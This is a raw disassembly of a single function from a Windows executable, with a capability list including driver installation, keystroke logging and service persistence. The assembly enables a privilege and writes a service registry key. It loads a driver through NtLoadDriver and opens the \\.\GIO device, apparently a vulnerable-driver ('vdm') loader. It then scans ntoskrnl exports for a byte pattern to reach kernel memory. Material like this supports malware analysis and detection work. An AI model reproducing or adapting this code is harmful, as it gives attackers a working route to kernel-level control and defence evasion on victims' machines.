Function at 0x140003540
Capabilities:
Check systemkerneldebuggerinformation
Get system information on windows
Install driver
Load ntoskrnl
Log keystrokes via polling
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Query environment variable
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14002f010]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor esi, esi
mov dword [rbp + 8], esi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov qword [rbp + 0x20], rsi
mov ecx, 0x68cf
call fcn.14000dce0
test rax, rax
je 0x1400053b8
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rbp + 0x10], rcx
lea rbx, [rcx + 0x68a8]
mov qword [rbp + 0x20], rbx
mov r8d, 0x68a8
lea rdx, [0x140010c70]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x18], rbx
lea rdx, [rbp + 0x118]
call fcn.140002a10
nop
lea rcx, [rbp + 0xe0]
call fcn.1400028c0
nop
lea rdx, [rbp - 0x80]
mov rcx, rax
call fcn.140006d30
nop
lea rdx, [rbp + 0x118]
lea rcx, [rbp - 0x80]
call fcn.140006370
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14000366c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003667
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003667
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x1400036c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
movdqa xmm0, xmmword [0x14002b030]
movdqu xmmword [rbp + 0xf0], xmm0
mov word [rbp + 0xe0], si
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x270]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
lea rcx, [rbp + 0x270]
call fcn.140006060
nop
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
sub r8, rdx
lea rcx, [rbp + 0x270]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x278]
call fcn.1400066f0
test rax, rax
jne 0x140003756
mov rax, qword [rbp + 0x270]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x270]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], 7
mov r8d, 0x15
lea rcx, [rbp + 0xa0]
call fcn.1400067a0
mov qword [rbp + 0x390], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x390]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400037ae
mov bl, 1
jmp 0x140003839
mov qword [rbp], rsi
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 8
cmovae rdx, qword [rbp + 0xa0]
lea r8, [rbp]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1400037dd
mov bl, 1
jmp 0x140003839
mov dword [rbp + 0x108], 1
mov rax, qword [rbp]
mov qword [rbp + 0x10c], rax
mov dword [rbp + 0x114], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp + 0x108]
xor edx, edx
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000382a
mov bl, 1
jmp 0x140003839
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0xb8]
cmp rdx, 8
jb 0x140003882
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000387d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000387d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], 7
mov word [rbp + 0xa0], si
test bl, bl
je 0x1400038a6
xor bl, bl
jmp 0x140003d94
mov rdi, qword [rbp + 0x48]
lea rbx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rbx, qword [rbp + 0x38]
call fcn.14000d524
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rdi
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.140001c90
nop
mov qword [rsp + 0x40], rsi
movdqa xmm0, xmmword [0x14002b030]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], si
mov dword [rbp + 8], 0xf8
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140002730
test eax, eax
jne 0x1400053bf
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.140006d30
mov dword [rbp + 8], 0x1f8
lea r8, [rbp - 0x60]
lea rcx, [rbp - 0x20]
call fcn.140007090
mov rbx, rax
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x80]
call fcn.140006ae0
nop
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x80]
call fcn.140006370
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdx, qword [rbp + 0x80]
lea r8, [rbp + 0x380]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1400039fe
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1400039f7
inc rdx
mov rcx, qword [rbp + 0x80]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400039f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b2d
call fcn.14000da40
xor bl, bl
jmp 0x140003b39
mov byte [rbp + 0x30], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x380]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400039b6
mov byte [rbp + 0x31], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x31]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x380]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400039b6
mov byte [rbp + 0xc], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x380]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400039b6
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140003ab5
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x380]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400039b6
mov rcx, qword [rbp + 0x380]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140003b39
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov byte [rbp + 0x80], 0
mov qword [rbp + 0x98], 0xf
mov qword [rbp + 0x90], rsi
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003b90
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140003bde
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003bd9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140003c33
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
movdqa xmm0, xmmword [0x14002b030]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], si
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140003c88
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d6f
call fcn.14000da40
movdqa xmm0, xmmword [0x14002b030]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], si
test bl, bl
je 0x140003d94
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xc0]
call fcn.140006ae0
nop
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0xc0]
call fcn.140006370
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x58]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x58]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140003d7b
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x1d0]
call fcn.140006450
mov byte [rbp + 0x1f0], bl
lea rcx, [rbp + 0x270]
call fcn.140002b50
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140003df8
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003df3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003df3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140003e4c
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], 0
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140003eab
mov rdx, qword [rbp + 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000401e
call fcn.14000da40
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
test bl, bl
jne 0x140003f8b
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], bl
mov qword [rbp + 0x138], rsi
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x140]
call fcn.140006450
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140003f1d
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140003f5f
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000401e
call fcn.14000da40
nop
cmp qword [rbp + 0x138], 0xffffffffffffffff
jne 0x140004025
lea rcx, str.____unable_to_load_vdm_driver..._n
call fcn.140001260
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
jmp 0x14000534c
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14002fac8], rax
mov qword [rbp + 0x138], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x140]
call fcn.140006450
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140003f5f
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x32]
call fcn.14000c770
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
lea rdx, [rbp + 0x32]
lea rcx, [rbp + 0x210]
call fcn.1400080b0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], rax
lea rax, [rbp + 0x210]
mov qword [rbp + 0x160], rax
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], rsi
xor eax, eax
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rsi
mov qword [rbp + 0x1a0], rax
mov r14d, 4
mov r13, qword gs:[0x58]
mov r12, qword [r13]
mov eax, dword [r12 + r14]
cmp dword [0x14002fbec], eax
jle 0x1400042ab
lea rcx, [0x14002fbec]
call fcn.14000dbd0
cmp dword [0x14002fbec], 0xffffffff
jne 0x1400042ab
mov rbx, rsi
mov dword [rbp + 8], esi
lea r9, [rbp + 8]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140004196
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 8]
mov r8d, dword [rbp + 8]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140004150
test eax, eax
js 0x14000427e
mov edi, esi
cmp dword [rbx], esi
jbe 0x14000427e
xor r14d, r14d
nop dword [rax + rax]
mov esi, edi
imul rcx, rsi, 0x128
movzx eax, word [rbx + rcx + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], 0xf
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], r14b
jne 0x1400041f0
lea rcx, [rbp + 0xa0]
call fcn.140006ae0
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
lea rdx, [0x140010ac8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140004348
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140004272
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000426d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000439d
call fcn.14000da40
inc edi
cmp edi, dword [rbx]
jb 0x1400041b0
xor esi, esi
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, rsi
mov qword [0x14002fc48], rdi
lea rcx, [0x14002fbec]
call fcn.14000db70
mov r14d, 4
mov eax, dword [r12 + r14]
cmp dword [0x14002fcf0], eax
jle 0x1400042f2
lea rcx, [0x14002fcf0]
call fcn.14000dbd0
cmp dword [0x14002fcf0], 0xffffffff
jne 0x1400042f2
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x140010ac8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [0x14002fc70], rax
lea rcx, [0x14002fcf0]
call fcn.14000db70
mov eax, dword [r12 + r14]
cmp dword [0x14002fc50], eax
jle 0x14000432d
lea rcx, [0x14002fc50]
call fcn.14000dbd0
cmp dword [0x14002fc50], 0xffffffff
jne 0x14000432d
mov rax, qword [0x14002fc70]
mov qword [0x14002fcd0], rax
lea rcx, [0x14002fc50]
call fcn.14000db70
mov ecx, 0x5a4d
mov rax, qword [0x14002fcd0]
cmp word [rax], cx
je 0x1400043b0
mov rdx, rsi
mov eax, esi
jmp 0x1400044b0
imul rax, rsi, 0x128
mov rdi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400043a9
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400043a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400043a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
xor esi, esi
jmp 0x140004292
mov eax, dword [r12 + r14]
cmp dword [0x14002fbe8], eax
jle 0x1400043f6
lea rcx, [0x14002fbe8]
call fcn.14000dbd0
cmp dword [0x14002fbe8], 0xffffffff
jne 0x1400043f6
mov rax, qword [0x14002fcd0]
movsxd rdx, dword [rax + 0x3c]
add rdx, qword [0x14002fc70]
mov qword [0x14002fc58], rdx
lea rcx, [0x14002fbe8]
call fcn.14000db70
mov rax, qword [0x14002fc58]
cmp dword [rax], 0x4550
je 0x14000440f
mov rdx, rsi
mov eax, esi
jmp 0x1400044b0
mov ecx, dword [rax + 0x50]
mov rdi, qword [0x14002fc70]
movdqa xmm0, xmmword [0x14002b050]
movdqu xmmword [rbp + 0xe0], xmm0
movdqa xmm1, xmmword [0x14002b060]
movdqu xmmword [rbp + 0xf0], xmm1
mov dword [rbp + 0x100], 0x78d1788b
lea rbx, [rdi + rcx]
mov rax, rbx
cmp rcx, 0x12
jb 0x1400044a0
lea r11, [rbx - 0x12]
mov r10, rdi
nop word [rax + rax]
mov r8, r10
lea rdx, [rbp + 0xe0]
nop word [rax + rax]
movzx r9d, word [rdx]
movzx ecx, r9w
shr cx, 8
cmp cl, 0x3f
je 0x14000448a
cmp byte [r8], r9b
jne 0x140004570
inc r8
add rdx, 2
lea rcx, [rbp + 0x104]
cmp rdx, rcx
jne 0x140004470
mov rax, r10
mov rdx, rsi
cmp rax, rbx
cmovne rdx, rax
mov rax, rdx
sub rax, rdi
mov ecx, eax
mov r15d, dword [rdx + 7]
add rcx, qword [0x14002fc48]
add r15, rcx
mov eax, dword [r12 + r14]
cmp dword [0x14002fcf4], eax
jle 0x14000497f
lea rcx, [0x14002fcf4]
call fcn.14000dbd0
cmp dword [0x14002fcf4], 0xffffffff
jne 0x14000497f
xor edi, edi
mov dword [rbp + 8], edi
lea r9, [rbp + 8]
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140004556
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
lea r9, [rbp + 8]
mov r8d, dword [rbp + 8]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140004510
test eax, eax
jns 0x140004581
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140004967
cmp r10, r11
je 0x1400044a0
inc r10
jmp 0x140004460
mov r14d, edi
cmp dword [rsi], edi
jbe 0x140004950
nop dword [rax]
mov eax, r14d
imul rcx, rax, 0x128
lea rbx, [rsi + rcx]
movzx eax, word [rbx + 0x2e]
add rax, rsi
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], 0
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400045d0
lea rcx, [rbp + 0x58]
call fcn.140006ae0
nop
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rcx, qword [rbp + 0x58]
lea rdx, [0x140010ac8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140004909
lea rdx, [rbx + 0x30]
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], al
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140004625
lea rcx, [rbp + 0x10]
call fcn.140006ae0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004661
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140006ae0
nop
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400046b0
lea rax, [rcx + 1]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x38]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0x38]
mov byte [rcx + rax], 0x5c
mov byte [rax + rcx + 1], 0
lea rbx, [rbp + 0x38]
jmp 0x1400046d1
mov qword [rsp + 0x20], 1
lea r9, [0x14001093c]
mov edx, 1
lea rcx, [rbp + 0x38]
call fcn.140007aa0
mov rbx, rax
lea rcx, [rbp + 0x10]
call fcn.140006260
mov rcx, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400046e8
mov rbx, qword [rbx]
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006930
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140004738
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004733
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b84
call fcn.14000da40
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r10, rax
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140004c1a
movsxd rcx, dword [r10 + 0x3c]
cmp dword [rcx + r10], 0x4550
jne 0x140004b8b
mov edx, dword [rcx + r10 + 0x88]
test edx, edx
je 0x140004b8b
